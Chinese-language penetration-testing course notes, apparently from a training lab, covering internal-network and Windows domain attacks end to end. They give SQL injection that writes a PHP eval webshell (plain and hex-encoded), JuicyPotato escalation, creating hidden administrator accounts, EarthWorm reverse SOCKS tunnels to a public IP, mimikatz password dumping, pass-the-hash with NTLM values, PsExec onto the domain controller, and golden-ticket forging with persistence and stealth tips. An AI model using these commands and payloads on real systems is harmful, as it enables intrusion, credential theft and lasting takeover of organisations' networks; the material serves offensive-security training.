7.1内网渗透(上)

7.1.1 sql注入写shell原理

首先我们之前只了解sql注入可以获取数据,读取文件,影响数据库。

其实sql注入可以写一句话,拿shell。

有特殊的sql语句:可以导出文件

1.into outfile

2.into dumpfile

例:select 1,2,3 into outfile 'C:\\phpStudy\\WWW\\jiangtao123.txt' (这里使用双斜杠用于类似转义否则数据库不识别)

这里我们看见我们操作数据库,直接在我们自定义的目录下写了一个文件jiangtao123.txt。所以这里我们是否可以尝试写入一个一句话木马。

文档截图

这里我们使用同样的方法在该目录下写入一个php可见写入成功了。

select 1,2,'<?php eval($_REQUEST[8])?>' into outfile 'C:\\phpStudy\\WWW\\jiang.php'切记这里的一句话木马写在这里一定要用单引号引上。

之后我们对其传参phpinfo();成功,可见写入jiang.php成功。

文档截图
文档截图

注*:这个写shell方法,在mysql的高版本中,这个outfile是不允许使用的,默认也是关闭的,他一般和load_file是一起的loadfile_file 默认也是关闭的,一般只要load_file可以使用的场合,outfile也应该可以使用。

如果存在堆叠注入的地方,我们可以写入多条sql语句时,我们也可以通过日志的方法写shell。

7.1.2 猫舍写shell

这次我们到猫舍实践一下,尝试一下写shell。

/?id=1 union select 1,'<?php eval($_REQUEST[8])?>' into dumpfile'C:\\phpStudy\\WWW\\tao1.php'(这里最好写\\)

或者

/?id=1 union select 1,'<?php eval($_REQUEST[8])?>' into dumpfile'C:/phpStudy/WWW/tao3.php'(也可以写/)

文档截图

但是如果想写shell我们需要知道绝对路径,可是我们不知道,于是我们可以是界面报错,使其爆出路径。

文档截图

然后我们传参phpinfo();可发现一句话木马写入成功。

文档截图

如果上述操作出现写不进去木马,可能是一句话的木马中存在问号会将url的传参误导,我们可以传参将一句话木马转化成16进制进行写入,切记16进制前需要加0x。

切记在一句话木马转换成16进制的时候会将

<?php eval($_REQUEST[8])?>

=>3c3f7068706576616c28245f524551554553545b385d293f3e

会将php 和eval之间的空格自动去除,多以当我们再转回来的时候这就不是一句正确的一句话木马了。

所以我们在转化16进制的时候,需要在70后边加入一个20.

因为<?php的16进制为3c3f70所以在这后边加上20(20为空格的16进制)

3c3f702068706576616c28245f524551554553545b385d293f3e

所以这样的一串16进制就是一句正常的一句话木马了。

这里我们执行phpinfo()只后便可以连接菜刀

文档截图

然后我们进行终端管理,查看其用户权限。可见这里我们是一个用户权限。

文档截图

权限:这里有普通用户权限,管理员权限,和系统权限(SYSTEM)。

这里系统权限是最高权限,当我们getshell之后,发现权限不是系统权限,这可能会影响我们的一些操作,所以我们就要选择提权了。

7.1.3 提权

7.1.3.1 windows权限提升概述

很多时候渗透测试人员,在做渗透的时候,拿到了网站权限,会发现,网站的权限调用的CMD命令,其实并不是服务器管理员权限,这个时候就需要去想办法提升自己的权限,只有自己的权限够了,才可以去更好的做内网测试。

那么这个怎么办?

7.1.3.2 提权路线

提权的路线其实不止一个

1、不同服务组件用了不同权限。例如网站权限低,数据库权限高,那么我们就要想办法让其他组件帮我们去做事。再例如:目标机器上运行了一些其他的服务,然后这些服务只能从内部访问,然后我们也可以调用过来用。(例如:FTP|Redis等等) [这个需要一定的知识积累,早期不推荐]

例:一台服务器搭建了2个网站。

A网站低权限运行==> getshell 网站A低权限 我可以通过php往B网站中写东西。如果目录不划分权限我们就可以这么做,如写一个一句话木马。

B网站高权限运行==>然后我们去getshell网站B 就实现了权限的提升。

教几条有用的cmd命令:

whoami 查看当前用户权限

netstat -ano 查看本机开放的端口tasklist 查看本机运行的程序[类似于任务管理器]

systeminfo 查看计算机信息

以上4条指令都是针对第一种提权方式的。

2、 利用Window的漏洞(最常见手法)

查看windows打了什么补丁,然后去网上找存在什么样的漏洞,然后找对应的提权工具。

相比而言我们还是更常用第二种。

首先我们使用systeminfo来查看系统信息。主要查看补丁信息。

文档截图

这里我们查看到他打了两个补丁。

然后我们使用一个补丁检验神器。

https://bugs.hacking8.com/tiquan/

Windows打了补丁什么漏洞我又不清楚,我怎么找?

其实有前辈做了很好的东西 访问:提权辅助页面: https://bugs.hacking8.com/tiquan/

查看到的补丁号填入,然后点击查询就可以,然后告诉你哪些漏洞可以用,直接去找这个微软编号的利用工具

文档截图

我们只要将目标服务器的补丁粘贴进去。探究可以查询那些漏洞可用。

这里表示除了我们写进去的两个补丁外还有这些漏洞可以利用。

文档截图

而我们就可以直接复制上述的补丁好到网上去找exp进行提权。

7.1.3.3 烂土豆提权

这里老师分享一个,我喜欢用的工具叫做烂土豆。juicypotato,关于其中的原理我就不分析了,因为提权工具有各种各样的,而且Windows操作系统的漏洞,如果不是专门研究的,其实不容易分析讲解

下载地址:https://github.com/ohpe/juicy-potato/releases

一般来说Github上面的补丁,会给源码的就不太会有后门。

这个东西百分百报毒,建议虚拟机下载或者是加个信任之类的。[免杀并不属于我们课程范围,我们讲的也是内网的思路和方法]

原版的比较复杂命令,需要写复杂命令:

JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}

里面又是涉及很多东西,而且运行了的cmd,还是出现在管理员界面,去操作特别麻烦所以我给大家提供魔改版的烂土豆,一条命令就可以了。

首先我们将烂土豆拉到目标服务器上,并重名命为1.exe以便于操作。

文档截图

然后我们在虚拟中端在输入命令:

exe -p “whoami”

发现权限以及那个提到了system权限。

文档截图

这时候我们可以创建一个用户来验证一下。

exe -p “net user jt jt123456. /add”

-p 命令参数 net user jt 创建用户名为jt 密码为jt123456.

/add 表示添加用户

这里我们用net user 来查看用户,可见我们jiang用户已经创建成功.

然后我们可以将其添加到管理员组,这样他就是一个管理员用户了.

文档截图

1.exe -p "net localgroup administrators jt /add " 将该用户添加到管理员组

1.exe -p "net localgroup administrators"

查看管理员组的用户

我们查看到了名为jiang的管理员用户。

文档截图

这时候问题来了,添加一个用户有什么用呢?

我们可以远程登陆3389.

那么我们就要看他是否开了3389

可是这里我们发现这里是一台2003的服务器,而我们目标的服务器是一台2008的机器。

文档截图
文档截图

这说明我们要连接的并不是她。

一个公网ip内存在n多机器。

这就涉及

公网端口:

内网端口:我们获取了目标服务器之后netstat -ano 所看到的都是内网端口。

我们访问的3389并不是这台08的3389.

说明这台服务的3389要在内网才能访问到。

文档截图
7.1.3.4 花生壳巧取公网ip

拿到服务器最高权限后,添加一个管理员账号,然后可以直接3389远程桌面连接上去,但是这里产生了一个问题

目标机器是在内网中,你访问不到他的3389怎么办?

这个地方你要知道,一个网站一般都在目标的内网内,然后他开放的端口,是依靠路由器转发出去的。

公网访问内网流程:

用户访问公网ip的一个端口 => 路由器接受到有人访问这个端口,根据转发规则分配到内网机器 => 内网机器连接

如我们刚才从外部去访问3389:

我们所访问的端口是外部的,而内网有很多台机器,那么通过这个端口我们是访问A机器,还是B机器,这就出现了我们刚才实际访问的服务器(2003)和我们想要访问目标服务器(2008)不是一个的问题了,这也说明了我们访问的3389并不是那台我们要访问的2008服务器的3389,这我们没法控制,外部到了路由器那里他会决定去访问谁。

但是如果转发规则里面不转发,那你怎么加用户你也连接不到,而路由器并不容易搞下来。那我们就无计可施了吗?并不是,我们可以使用反向连接。

反向连接:

一般我们会使用反向连接,我们让我们控制的站点来连接我们公网上的一个端口,然后构成一个反向连接,反向连接就是目标连接我们,正向就是我们去连接目标。

例:我们让一个被攻击的A机器,主动去访问一台公网的B机器。这里我们就可以建立连接了.当然我们先ping一下测试能不能访问到公网。

这里我们是可以访问到的。

文档截图
巧取公网ip

访问: https://qydev.com/index.html

这里其实原理很简单,我们反向连接花生壳,然后我们让目标反向连接花生壳提供的域名,然后花生壳架起了桥梁让我们沟通,他就是一个中间人。

这里我们在该平台开通了一个隧道。

文档截图

然后我们在申请一条http的隧道,使其我们将其程序放在我们内网服务器上,输入密钥。

这样我们就能在公网上访问它了,我们实现了成功穿透内网的功能。 我们发现我们搭建在内网服务器的猫舍就被我们在公网上访问到了。

文档截图
文档截图
文档截图

然后我们开始继续搞,每当我们开通隧道的时候不知道走哪个协议,就走tcp因为大多数协议都基于tcp。

这里我们可以看到我们的tcp的这个隧道,当我们去访问

free.qydev.com:4519 就相当于访问了我虚拟机服务器的727端口。

文档截图
7.1.3.5 ew内网穿透端口转发

其实,直接运行花生壳在我们内网的机器上也可以把端口搞出来。那么如果遇到了没有公网的机器,比如,内网里面没有外网,那花生壳搞锤子,那还是需要先把端口转发到能公网访问的地址,然后再反代出来。所以在这里我还是要教大家最正统的端口转发、内网穿透。

安利一个工具:

EarthWorm [http://rootkiter.com/EarthWorm/] 官网不给下载了,也是醉了。

命令其实官网上面都有也并不复杂,本地测试测试,照葫芦画瓢就可以了,工具本身就是这个样子。

最常用的命令:

建立反向代理

ew -s rssocks -d 47.92.102.131 -e 4519

将自己反向连接到 47.92.102.131的4519端口

接受代理

ew -s rcsocks -l 1080 -e 8888 监听8888端口,将获取的数据转发到1080端口

47.92.102.131:4519

反向连接的过程:目标机器==>路由器==>穿透平台提供的地址==>我

端口->并不是开了就能构成连接的->必须要有服务去监听它才能构成连接。

设置监听端口:

这里我们根据我们在花生壳上分配的ip先将转发到本地的端口进行监听,因为没有服务监听的端口是没有意义的.因为花生壳上设置的是728端口,所以我们这里监听728端口。并将其接受的数据转发给端口13838.

文档截图

然后这里我们使用花生壳自带的程序实现一个与花生壳的连接。

文档截图
文档截图
目标服务器反向连接:

然后这里我们在设置目标服务器的反向代理,使在内网的服务器反向连接到我们在公网布置好的花生壳。

1.exe -p "2.exe -s rssocks -d 47.92.102.131 -e 4519"

这里切记1.exe是提权工具烂土豆,2.exe是反向代理得工具ew,切记-p后边与双引号之间有一个空格。

ip为我们ping花生壳给我们分配的域名来的.

端口平台分配。我们可以看出倘若我们控制目标站点连接成功后,在我们本地机的ew程序框中会显示一个ok命令。

文档截图
文档截图
文档截图

这里在我们本地一定要监听727端口,因为我们通过花生壳内网穿透系统所转发过来的数据就会发到我们的727端口。这里如果接收到数据光标处会出现OK.

文档截图

然后我们的就监听那台公网ip的端口,然后挂上SOCKS5的代理就行 [一种代理协议,比较复杂,拿来用就行,其实计算机连上网有各种底层协议,TCP/IP 等等。其实非专业网工都弄不清楚,能上网就行了]

这个我们会用Proxifier,然后给你们实操。很简单。

文档截图
文档截图

这里我们用菜刀查看目标机器的ip,发现ip为10.0.1.4。是个内网ip。

然后我们访问一下,发现访问成功了,可见我们进入了其内网,否则我们不可能访问成功的。

文档截图

然后我们可以尝试重新3389登陆一下毕竟第一次登录不成,这次我们直接登录10.0.1.4。

在这之前,我们先来通过烂土豆创建一个用户。并将其添加到管理员组。

文档截图

之后我们来用刚刚创建好的用户登陆一下。

然后登陆成功了。

文档截图
文档截图
文档截图

然后我们上传一个nmap对其进行内网探测。

文档截图
7.1.3.6 探测内网机器

登陆了3389后,那电脑就是你的,没啥说法,信息收集呗

先探测下内网主机,再探测下主机端口,这是最简单的方法。先ipconfig查看下当前ip,是什么ip段,然后上传nmap。

nmap 10.0.1.1/24 探测10.0.1.1 - 10.0.1.255

然后开始翻一翻本机里面的文件,看看有没有有用的东西,然后根据端口去寻找问题,例如我们现在想对10.0.1.5测试,很明显他开了这些端口,就针对这些端口测试。

例如这里有开放了445端口,445有个内网大杀器永恒之蓝,开了3389,3389可以尝试爆破登陆,或者打windows rdp

漏洞,直接拿下。如果有WEB就走WEB测试的道路。

永恒之蓝和RDP攻击都是Kali课程内容,我给你们嫖了过来,就是:

文档截图
文档截图

我们扫描了内网里面有10.0.1.4/8/3/6等机器,我们看到又打开3389的机器就尝试直接登录上去,用刚才获得的管理员账号。其实flag就在10.0.1.8.

文档截图
7.1.3.7 提取本机管理员账号密码

内网很多情况是这样的,内网很多机器,但是管理员可能就是那么几个人,所以各个机器的用户账号密码相同的可能性极高,那么我们如果能获取本机所有用户的密码,就可以看到管理员原本设置的密码。

mimikatz是一款内网渗透中常用的工具,我喜欢叫法国神器,本杰明·德尔皮创建

[下载地址:https://github.com/gentilkiwi/mimikatz]

因为Windows会把用户的明文密码放在内存里面,所以它可以从内存中提取纯文本密码,哈希和kerberos票证。

[windows server 2012上就不储存明文]

mimikatz还可以执行哈希传递,票证传递或构建Golden票证。privilege::debug 提升权限

sekurlsa::logonpasswords 抓取密码

这里我们可以看到很多,账户管理员的密码。

文档截图
文档截图
文档截图
文档截图

然后我们可以查看到Administrator的密码woshifengge1.

文档截图

然我们用它去登陆我们在内网扫出来的10.0.1.8,用上述的管理员账号尝试登陆即可。然后我们可见flag就在桌面上。

文档截图
7.1.3.8 总结

SQL注入写马/前台手段写马 -->getshell

创建用户/烂土豆提权创建用户 -> 添加到管理员组

花生壳创建隧道

花生壳软件绑定本地端口

Ew监听本地端口

菜刀上传目标网站ew,反向连接花生壳

本地ew输出ok

Pox监控数据

查看目标服务器ip

浏览器访问内网ip->成功说明加入其内网

3389直连ip -->使用创建好的账号用户名

上传nmap探测内网 nmap 10.0.1.1/24

猕猴桃抓取内网密码-->administrator

切换管理员用户->上下翻飞

文档截图

7.2 内网渗透(下)--域渗透

7.2.1 域渗透概述

内网里面有很多机器,例如:几百台,上千台电脑,但是计算机管理员仅仅只有几个人,如果他们想对所有电脑进行更新升级,是不是要累死?一台一台的操作过去,我估计得吐血

Windows的开发也考虑到了这个问题,所以Windows中有一个域的功能。

域其实就是一些计算机所组成的。一个电脑也能是一个域,一堆电脑也可以是一个域。

域 中的机器并不平等,分为控制机和客户机,控制机的权限很大,可以操作域中的任意机器,它被叫为域控制器,俗称域控(DC)。 拿下域控,就等于拿下域里面所有的机器。对于黑客而言,拿下域控也是攻击的最终极目标

域比较复杂,分为单域、父域、子域、域树、域森林等概念 对于初期渗透测试人员而言,其实都差不多。

我们的目标是域控,那么我们肯定要对域有一定的了解,域作为Windows的一个功能,我们为何不尝试自建一个域,来方便我们的测试和学习?

7.2.2 域渗透环境搭建

这里我们使用两台2008 R2 的服务器

Ip:192.168.78.139(域控机) 192.168.78.140(客户机)

我们以139为域控搭建一个域,并让140 去加入该域。

加入域的条件:1.和域控机在同一个内网中

2.将客户机的dns地址设置成域控机的ip

文档截图
文档截图

7.2.3 补丁讲解

这里我们使用上节课的猕猴桃来抓取密码,可以看出我们抓取的密码都是明文的。

文档截图

上节课我们说过,windows版本高时我们查看到的密码都是密文的,当我们想要也让我们看到的密码显示出来都变成密文的,我们应该怎么办呢?

答案就是打补丁(客户机)。

我们先打上KB2871997的补丁,在对注册表进行修改即可。

文档截图

这里我们下载好了补丁,直接点击打上就可以了。

我们双击打上补丁之后需要,修改注册表。

对应的注册表路径为:

HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest

找到该路径下添加一个UseLogonCredential将其值设置为0

文档截图

可见这里我们在抓取的时候就没有办法直接查看到密码了。

文档截图

7.2.4 域管理员登录客户机

然后这里我使用haha域的域控管理员(即域控机139的管理员)来登录客户机140。

文档截图

可见这里我们成功用haha域的管理员账号登陆了客户机,administrator 为域管理员,Administrator为该客户及管理员我们可以看出这是两个用户。

文档截图

我们进入cmd命令行查看用户身份,可见我们也是以haha域的管理员身份登陆而来的。

文档截图

这里因为一个于里可能有很多太甚至上百台机器,如果管理员要把每台机器的账号密码都记住是不现实的,所以域管理员的账号可以登录域内任何一台机器。

那么问题来了,客户机是怎么知道我们登陆的账号是域管理员的账号呢。这里的道道就复杂了。接下来我们来见大介绍一下认证的方式。

7.2.5 Windows认证协议 - Kerberos

文档截图

在域中一台电脑上要登录另一台的用户,需要一个通信证,这个通行证就叫做票据。例如:你用域管账户登录

上面的脑图只是简单的介绍,真正的认证方式要复杂的多。

As:校验访问者的身份

网站明文传输时很危险的事情。

这里AS会给访问者一串密文 --> 用访问者密码才能解开这段密文,这就杜绝的明文传输 --> 解开之后是一串64为随机数(对称加密)

而这64随机数是TGS传输信息时的密钥。

最后通过AS和TGS的双重认证会给登陆者一个通行证。该通行证叫做票据。

加密:1.对称加密:有一段密钥,谁拥有密钥就可以解密加密。

2.非对称加密:如RSA

域控管理员会用自己的域控账号登录客户机,那么我们就可以抓取到域控的账号和密码。但是密码并不一定抓取到的都是明文,如果是Windows server 2012以上版本或者是打了KB2871997补丁就会抓取不到明文密码,虽然有密文,但是密文是是不可逆的,基本上不可能解开。

7.2.6 寻找域控

这里我们可见我们已经记录的域管理员登陆的记录。

文档截图

那么问题来了我们怎么查找域控的地址呢?

一般我们有两个方法:

方法一:直接查找dns地址

一般的客户机的dns地址都是域空的地址。

文档截图
方法二:net user /domain

这里我们访问发现拒绝访问了,其实就是权限不够。

这里我们的访问需要一个system权限。

文档截图

但我们怎么获得system权限呢?

这里我们就是用一个windows自带的提权工具。强调这里不是漏洞,这是一个windows官方提供的工具,但是前提必须是Administrator才能提升到系统system权限.

PsExec工具提权:

PsExec工具是windows自带的提权工具,利用的不是漏洞。而烂土豆利用的是漏洞提权,而且无视一切提权,而PsExec提权的前提是必须是administrator权限才能提权到system。

我们在输入命令之前先whoami一下查看一下我们的权限。发现我们是jiang1/administrator然后我们输入

命令:PsExec -i -d -s cmd.exe

等待一个cmd.exe的弹出。

发现有新的cmd.exe弹出时,我们在进行一下whoami就会发现我么你的权限变成了system系统用户

文档截图

这时候我们在输入命令:

net user /domain

就可以查询到数据了

\\WIN-8078MIFT2N9.haha.cn 就是我们域控机的名字。

文档截图

7.2.7 哈希传递(拿下域控方法一)

这里我们得到了域控得到了密文的密码,可是我们想要登陆域控机还是不行,因为我们需要一个明文的密码,但是密文又无法破解,那我们怎么办呢?

这是我们引入了一个心得手段叫做哈希传递。

域控管理员会用自己的域控账号登录客户机,那么我们就可以抓取到域控的账号和密码。但是密码并不一定抓取到的都是明文,如果是Windows server 2012以上版本或者是打了KB2871997补丁就会抓取不到明文密码,虽然有密文,但是密文是是不可逆的,基本上不可能解开

那该怎么利用?

这里就有一种方法就做,哈希传递(PTH) Pass-The-Hash。

那什么是哈希传递呢?

例:

前几天在渗透测试时遇到了一个问题,SQL注入获取的MD5值解不开

经过漫长的代码审计:发现设置Cookie的时候,他的Cookie是可以计算的,根据偏移混淆值+用户名和密码的MD5值,然后计算成一串Cookie。我们不需要知道密码,只要算出Cookie就可以成功登陆。

有同学会问,为啥不加密码直接计算,而是计算密码的MD5值,因为。数据库不存储密码,他不知道呀

在登陆其他用户的时候,也会这样去计算类似的情况,所以你用哈希值就可以去登陆同密码的服务器,然后因为这里是域控的账号密码,那么你可以直接用这个去登陆域控

哈希传递流程

1.mimikatz

2.sekurlsa::logonpasswords 抓取密码

3.sekurlsa::pth /user:administrator /domain:"zkaq.cn" /ntlm:4d1de63584701c85b8b9eccf5243ef83

登陆用户 域地址 ntlm加密值

这里会弹出一个CMD框 我们先用看看自己是否有权限 dir \\WIN-D6PMU0BTMC1.zkaq.cn\c$ 【查看域控C盘】

哈希传递实操
抓取管理员密码

我们首先要在域管理员使用账号登录该客户机的之后,用猕猴桃抓取一下管理员的账号密码。

文档截图
猕猴桃哈希传递

然后我们使用猕猴桃工具进行哈希传递。

sekurlsa::pth /user:administrator /domain:"haha.cn" /ntlm:86bd9f3de3a043a79e0768cba35a907a

haha.cn是我们的域的名字

Ntml:是我们在密码抓取时抓到的ntlm值

这里我们使用上述命令的时候会弹出一个cmd.exe的框,这个框就是我们经过了哈希传递而得来的。

其原理就相当于使用cookie直接登录网站一样

文档截图

但是这里我们查看身份还是jiang1\administrator,这是什么情况,是我们哈希传递失败了吗?并不是。

文档截图
获取c盘权限

这里我们键入命令:

dir \\WIN-8078MIFT2N9.haha.cn\c$

操作 通过文件共享协议 域控机地址 查看盘符

文档截图

这里我们对比一下,显然没有经过哈希传递产生的cmd框是无法查看到域控机的,因为这里没有正确的账号密码,而哈希传递生成的cmd框是带有域管理员账号密码的。

文档截图
获取cmd权限

当然,我不仅仅想看域控的C盘,我更需要获得域控机器的权限,其实你可以查看到C盘就代表着,你有了操作域控的权限,这里用一个Windows官方出的工具。[PsExec.exe]

PsExec.exe //域控地址 cmd

[他会去调用域控主机的cmd]

我们在哈希传递弹出的cmd框键入命令:

PsExec.exe \\WIN-8078MIFT2N9.haha.cn cmd

这里我们看到我们经过哈希传递的cmd框可以连接到域控机WIN-8078MIFT2N9.haha.cn的cmd框,而我们普通的cmd框并不行,与上边的道理一样,没经过哈希传递没有账号密码,无法通过域控机的验证。

并且我们此时在进行whoami查询,我们已经是haha\administrator(即haha域的域管理员了)

(这里且切记我们经过哈希传递的获得的cmd框在system32目录下,而我们的要想连接到域控机的cmd需要PsExec.exe工具,而该工具在c:\users\administrator\desktop目录下,我们首先需要几级目录跳转来计入该目录,才能调用工具)

文档截图

此时我们进行ipconfig查询,发现我们的ip已经是192.168.78.139(域控机)了,但是我们所在的是客户机192.168.78.140了,说明我们已经得到了域控机的cmd了,上面也看到了我们现在是域管理员权限,我们可以自己添加一个用户到管理员组。对域控机进行3389登录。

文档截图

这里我们使用systeminfo命令来进行查看,我们发现我们查看到了信息是域主控机。

文档截图
创建新用户登录

这里我们创建了一个名为sb的用户并将其加入了管理员组。

文档截图
新用户登录3389

接下来我们尝试来用该用户对域控机(192.168.78.139)进行登录。

注*:登陆域的时候一定要以 域名\用户名的格式。

文档截图

这里我们可以看出我们用账号sb登陆域控机(192.168.78.139)成功了。

文档截图

这样我们成功登陆了域控机,当然不提倡新建用户,因为动静太大了,突然多出来一个用户,十分明显。

7.2.8 黄金票据(长期控制方法二)

我们要知道域控可以登录一切域内机器,所以域控的账号密码会换来换去,我们可能下次就不能这样的登录了,那么为了维持长久的控制,我们要去制作伪造一个黄金票据。他域控密码改了我也能继续用。

域渗透中其实有金银票据,一个是黄金票据,一个是白银票据。一个用的是域控用户账户,一个用的是krbtgt账户

金票权限是最大的,我们主讲黄金票据。

krbtgt账户其实就是上述提到过那个KDC秘钥分发中心用的超管密码,我们拿着那个的票据,去访问客户机,客户机会认为我们是KDC秘钥分发中心,所以直接给了最高的权限允许我们访问,一般管理员会修改域控机密码,但是很少有管理员会修改Krbtgt的密码。那我们看看怎么伪造这个黄金票据。

据说黄金票据登录还查询不到日志.

7.2.8.1 黄金票据的伪造

1. 猕猴桃抓取krbtgt的密码(域控机执行)

这里我们使用猕猴桃抓取一下krbtgt的密码,切记一定要在域控机上进行。

现在猕猴桃提权一下,然后键入命令

lsadump::dcsync /user:krbtgt

获取krbtgt的密码 [mimikatz 会模拟域控,向目标域控请求账号密码信息],提取出里面的sid和hashNTLM.

首先我们先log一下,以便我们查出地数据能够写入txt文件中记录下来。然后键入命令:

lsadump::dcsync /user:krbtgt

文档截图

这里抓取到之后我们主要是需要这两个东西用来伪造黄金票据。

SID:S-1-5-21-2578812869-1036645408-3787504164-502

Hash NTLM: 334d87cb2f46b801466b68ffafccd64e

我们有了这连个东西就可以任意伪造黄金票据了。

文档截图
伪造黄金票据(客户机执行)

首先我们将上述步骤抓取的SID和Hash NTLM拼接入下边的命令中,该命令在客户机的猕猴桃上执行即可。

SID:S-1-5-21-2578812869-1036645408-3787504164-502

切记再将sid放入制作票据地命令中时,一定不能不能带-502。

--> S-1-5-21-2578812869-1036645408-3787504164

Hash NTLM: 334d87cb2f46b801466b68ffafccd64e

kerberos::golden /admin:administrator /domain:haha.cn /sid:S-1-5-21-2578812869-1036645408-3787504164 /krbtgt:334d87cb2f46b801466b68ffafccd64e /ticket:administrator.kiribi [制作票据]

用户名随意填写 域名称 sid krbtgt即ntlm

切记斜杠前一定要有空格否则生成票据失败。

这里我们看见在桌面生成了一个文件。

文档截图
加载票据/查看票据(客户机执行)

我们加载票据同样是在客户机上的猕猴桃执行。

我们键入命令:

kerberos::ptt administrator.kiribi

[加载票据]

Klist查看票据

文档截图

我们在客户机猕猴桃执行完加载票据的命令之后,在该客户机的打开一个cmd框就可查看到我们伪造的黄金票据的信息。

我们可以见到结束时间2030年,10年有效。

然后打开cmd试试看票据是否有用,可以访问域控吗? 提取东西在域控,伪造在客户机上能否对域控机产生效果。

黄金票据的使用

这里我们在客户机的cmd框中加载了伪造的黄金票据之后,我们尝试访问一下域控机。

我们在该客户机cmd中键入查看域控机盘符的命令。

dir \\WIN-8078MIFT2N9.haha.cn\c$

这时我们就发现我们是能查看到c盘符的,而且我们进行whami查询依旧是jiang1\administrator.

这里可见能看盘符但不是域管理员,这情况和我们之前刚进行哈希传递完之后效果是一样的。

文档截图

这里我们同样是调用psexec来进行获取域控机的cmd,可见我们已经在客户机上通过黄金票据,获取域控机的cmd成功了,之后我们就老套路建立用户登录3389/查看ip等就可以了。

文档截图

当今数据库密码都不存储明文,典型加密手法。

Md5(md5($password).$salt) 盐值=salt (随机数)

上述方法如果获得盐值是可以爆破的

但是如果多次加密混淆成一堆密文就没法搞了

密码学的核心 => 密文不可逆

明文传输很危险

重启之后电脑IP会变所以记得换dns。

域渗透流程

经过补丁或者高版本的windows一般不会明文密码,我们用猕猴桃抓不到明文密码。需要使用哈希传递来完成对域控机的攻击。

首先有一台处于目标域的客户机

查看域控 名

Net user /domain 如果权限不够 就用psexec提权再去

net user /domain

在管理员登陆过客户机之后,用猕猴桃抓取管理员账号及密码(密文 无法直接利用)

得到了 域控名和账号密码(密文)进行哈希传递

获得访问域控机的权限先访问c盘

成功之后使用psexec提权获取cmd权限

获取了域控机cmd权限,创建一个管理员用户,对域控机进行3389登录。

面试官内网问:

端口转发ew

Sock代理带进去

哈希传递

金银票据

7.2.9 域渗透靶场

7.2.9.1 渗透思路

先登录59的远程主机,建小号

在小号里下载nmap,找到域机器10.0.1.8

远程桌面连上,上传mini... PsExec

用mini.... 得到一个密码,一个域机器的,域为DC的

sekurlsa::pth /user:administrator /domain:"zkaq.cn" /ntlm:61465a991b168727b65b3644aab823cd

使用hash值去登陆,弹出cmd框后查看自己有没有权限

dir \\DC.zkaq.cn\c$

上传一个PsExec.exe 通过这个去调用域里的cmd

调用以后添加一个账户,提升为管理员的权限

再通过这台10.0.1.8的机器去远程登陆那个域主机 dc.zkaq.cn(地址)

用户名密码就用我们创建的小号,登陆了以后,flag就在C盘,用户 administrator.DC 桌面文件夹下

7.2.9.2 渗透实操

首先我们先登陆上关内网渗透一的猫舍,这里我们需要借助那里的前台sql注入getshell进入内网。

这里我们前台sql注入写一句话tao3.php-->getshell

文档截图

这里解析发生乱码,可见一句话已经解析,随后我们进行菜刀的连接。

文档截图

这里我们可以看出我们连接菜刀成功了,然后我们将烂土豆上传上去重命名为66.exe,供稍后提权使用。

文档截图

这里我们使用烂土豆whoami可见是系统权限。

66.exe -p “whoami”

文档截图

既是系统权限我们可以创建用户用来远程登陆域渗透靶场。

这里我们创建一个名为jt的用户,并将其加入管理员组。

文档截图

然后我们对这次域渗透的靶场进行3389登录,但是我们登录上去发现这个服务器并不在某个域里。

文档截图

我们ipconfig发现这是个内网ip。

然后我们来进行其他主机的发现,我们上传nmap扫它一手内网。我们可以发现内网有诸多机器10.0.1.4/8/6等。

文档截图

但是我们不知道怎么利用啊,以为我们不知道账号密码,莫得办法啊,我们回想起来上节课讲的,内网机器众多,有好多管理员账号都是相同的。于是我们开启我们的法国神器猕猴桃,进行密码抓取,果然抓到了一个管理员的账号。

文档截图

于是我们用此账号在登陆一下我们在内网扫到的10.0.1.8。

文档截图

然后我们在此上传好我们的域渗透工具猕猴桃以及psexec等。

上传好了首先我们先来

net uer /domain

查看一下域内用户,发现我们的访问被拒绝了。

文档截图

既然被拒绝了应该是我们没有系统权限的问题,我们使用psexec来进行一下提权。

命令:psexec.exe -i -d -s cmd.exe [生成一个system权限的cmd框]

Whoami --> 发现我们已经是系统权限了

Net user /domain

文档截图

这里我们再来在刚刚生成的cmd框中,在执行命令:

Net user /domain

此时发现我们有权限访问域中用户了,我们还看到了域控机的名字:DC.zkaq.cn。

文档截图

于是这里我们尝试来访问一下域控机的c盘,可是这里我们发现权限又不够可能是c盘的访问需要账号密码吧。

既然这里需要账号密码,我们就上一手法国神器抓取密码。

sekurlsa::logonpasswords

文档截图

我们通过密码都是null,可以看出来者2008 r2服务器应该是打了补丁,这样一来我们就没法明文登录了,我们只能通过ntlm值来进行哈希传递了。我们根据之前net user /domain 或者网络配置都可以产看到域名称为zkaq.cn。于是我们来查找属于该域的管理员的信息。

然后我们将其ntlm值存下一供哈希传递.

Ntlm:61465a991b168727b65b3644aab823cd

文档截图

然后我们构造语句进行一下哈希传递。

sekurlsa::pth /user:administrator /domain:"zkaq.cn" /ntlm:61465a991b168727b65b3644aab823cd

文档截图

这里通过上述的图片我们已经发现我们经过哈希传递之后相比之前我们已经可以查看域控机的c盘了,其实我们能查看c盘基本就离我们呢可以控制他不远了。

c盘肯定不能满足我们,我们需要进一步控制其cmd,这里我没们就要使用我们之前用的提权工具psexec了。当然也要在当前哈希传递的cmd框中。

我们切换到c:\users\administrator\desktop目录下执行命令:

Psexec.exe \\DC.zkaq.cn cmd

这时我们可以看出我们的原有的cmd框中有了一个新的cmd框,我们进行whoami身份查询,可以看出我们虽然还在10.0.1.8的客户机上,但我们已是域的管理员了,说明我们已经成功访问了域控机。

文档截图

之后我们可以尝试来看一下系统信息[systeminfo],ip地址等等[ipconfig],都能看出我们的cmd已经不是之前的客户机了。

Systeminfo系统信息显示我们现在已经是主域控制器了,IP查询显示我们也已经不是本机的10.0.1.8的ip了,已经是域控机10.0.1.6的ip了。

文档截图
文档截图

这时候我们我们已经了获得了域控机的cmd权限,我们就要去实现我们的终极目标了,我们在域控机上建立一个新的用户,并将其添加到管理员组,然后用该用户对域控机进行3389登录。

我们首先查看一下当前用户,然后创建了一个名为sb的用户,并将其添加到了管理员组。然后我们用其进行域控机登录。

文档截图

这里可见我们用sb用户登录成功,我们在这其中寻找flag。

文档截图
文档截图